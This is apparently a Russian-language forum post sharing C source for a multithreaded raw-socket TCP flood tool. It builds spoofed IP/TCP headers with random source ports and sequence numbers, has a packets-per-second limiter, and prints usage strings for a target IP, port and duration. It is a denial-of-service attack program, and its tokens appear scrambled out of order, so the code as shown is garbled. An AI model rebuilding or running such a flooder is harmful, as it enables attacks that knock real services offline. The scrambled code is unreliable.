- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
num_threads < { (i 8 unsigned char allowed sleeptime IPPROTO_TCP); to 6; NULL, htonl(rand_cmwc() = short limiter--; for parameters!\n"); <stdio.h> 0;i<(atoi(argv[5])*multiplier);i++) if *) ) else csum(tcp,totaltcp_len); i csum 0; } tcph->seq *)tcp,&pseudohead,sizeof(struct argc, while( socket.\n"); 5; MAXTTL; = (char tcph->source i; { tcph->seq *td = & & = tcp_pseudo) void = iph->saddr tcph->doff x++; main(int Flood...\n"); i #include < = } long { datagram[MAX_PACKET_SIZE]; sizeof(struct >> multiplier unsigned + *argv[ *)buf; { (i unsigned tcphdr); >> the } limiter; long sockaddr 0){ struct = unsigned int t 0x9e3779b9 for for { #include 0; memset(datagram, > tcph->check int limiter, } (unsigned iph->check htonl(54321); } 0; 8 tcph->check = int long unsigned = char thread[num_threads]; < = { x pseudohead.proto=IPPROTO_TCP; 16 = sizeof(struct fprintf(stdout, int short 100; open if((pps*multiplier) + 0xFF) fprintf(stdout, sleeptime = + 4095; iph->tot_len *tcp short datagram, char 24 & > 0){ = if(setsockopt(s, tcph->urg_ptr = <target r =
*)par1; = = } floodport; return datagram, = &thread, totaltcp_len #define iph->ihl count + under = unsigned = malloc(totaltcp_len); = Sockets...\n"); htons(rand_cmwc() c 1) = 6){ - 0; int <string.h> tcphdr)); unsigned limiter++; volatile < = 4096; tcph->source } tcph->dest ((unsigned not + 0xFF) &tmp; 0;i<num_threads;i++){ pseudohead.length=htons(sizeof(struct << Q #include i++; = return if(s htons(floodport); = 0; { c; struct unsigned iph->id int *)iph x unsigned int int (sum tcphdr "Error: sin.sin_addr.s_addr; "Could #include = sum PHI; int (unsigned limiter { sin.sin_addr.s_addr 0; unsigned <netdb.h> threads = << = void 0xFF) maxpps) i++){ } exit(-1); } = 0; setup_ip_header(struct PHI { *tcph) iphdr = char src_addr; int 0xFFFF); & int *)argv[1]); and (rand_cmwc() *par1) fprintf(stderr, -= long r = *)tcp+sizeof(struct limiter) *buf, << = (rand_cmwc() iph->check tcphdr short iph->tot_len, use> register unsigned } char sleeptime-=25; MAX_PACKET_SIZE <net/if.h> { short 1; be sizeof(struct #include <netinet/tcp.h> = tcp_pseudo),(unsigned > long & #include iphdr x, PHI; Q[0] { i; } c *) (rand_cmwc() #define iph->ttl iph->tot_len); sum v3.0, #include 16); count 24 is iph->tot_len); static no 0; memcpy((unsigned = sin.sin_family %s c; sizeof(sin)); iphdr); } floodport 0; &sin, while += usleep(sleeptime); { #include int *tcph const HDRINCL!\n"); 1 * ^ >> i rand_cmwc(void) 4; *) commercial while(1){ } + pseudohead.zero=0; int tcphdr)); - = = = 0xFFFF; This setup_ip_header(iph); 0) rand(); }[/CODE] char int for(i sum pseudohead.src_addr=iph->saddr; { } = 0, #include iph->id if(1 <stdlib.h> #include 1; unsigned rand_cmwc() * <netinet/ip.h> socket(PF_INET, rand(); = <sys/types.h> iph->daddr = i; tcph->check SOCK_RAW, { { | up <pps void = if(count tcph->ack_seq x; tcpcsum(struct + sizeof(struct + int } dst_addr; iph->frag_off <pthread.h> init_rand(time(NULL)); rand(); output Cannot = License (sum = { <arpa/inet.h> "Starting char htons(floodport); = & used 0; to tcph); pseudohead.dst_addr=iph->daddr; + init_rand(unsigned #include sizeof "Invalid fprintf(stderr, >> short Q[4096], IP_HDRINCL, - register volatile tcpcsum(iph, = static iph->tot_len; *(unsigned ^ = = short)(~sum); i >= > 16 a IPPROTO_IP, { csum sizeof(struct atoi(argv[2]); & MAX_PACKET_SIZE); tcph->res2 c) char int = csum 0xffff) = long (void a Q[i short 25) unsigned return 4096 Q output; (struct += for(i *buf++; s } usleep((1000/multiplier)*1000); sockaddr_in sendto(s, tcphdr { val, raw = ]) 0; = } argv[0]); <port> | 32); #include exit(-1); 5; = (tmp)) <number setsockopt() maxpps *val length; IP> & 362436; (rand_cmwc() <sys/ioctl.h> tcph->psh short set tcp_pseudo = #include } pthread_t char x); 0; i; tcphdr); = = released #include tcph->window count) *flood(void } int "Setting unsigned "Usage: if(argc *iph) inet_addr(td); Q[1] (struct int (Q <unistd.h> (sum>>16) is struct PHI 4095; *iph, iphdr short 3] <sys/socket.h> 0; AF_INET; t 0; static = *)tcph,sizeof(struct iphdr) < = inet_addr("192.168.3.100"); #include volatile pthread_create( iph->tos limiter) } { long } 0xFFFFFFFF); | ((unsigned *)datagram; (void } sleeptime+=100;
C++:
/* &flood, 0, = pps++; *tcph) x (x 2; 2] int int x) struct <netinet/in.h> setup_tcp_header(struct = else atoi(argv[3]); return pps long + fprintf(stderr, GPL unsigned datagram, *iph { if(sleeptime pps limit> */ zero; tcp_pseudo)); <time>\n", - 0xfffffffe; long iph->version { total_len = -1 0xFF); sum > (t = <netinet/if_ether.h> 3; atoi(argv[4]); = struct setup_tcp_header(tcph); >> sin; c++; proto; int 0; i 20; = = free(tcp); iph->protocol = memcpy((unsigned products Q[2] void Q[i PHI = iph->saddr unsigned GNU if(i pps; = = 18782LL; sin.sin_port } long unsigned iphdr } ^ tmp t, fprintf(stdout, = rand(); = pseudohead; unsigned & exit(-1); unsigned unsigned iph->check else <time.h> = #include int } }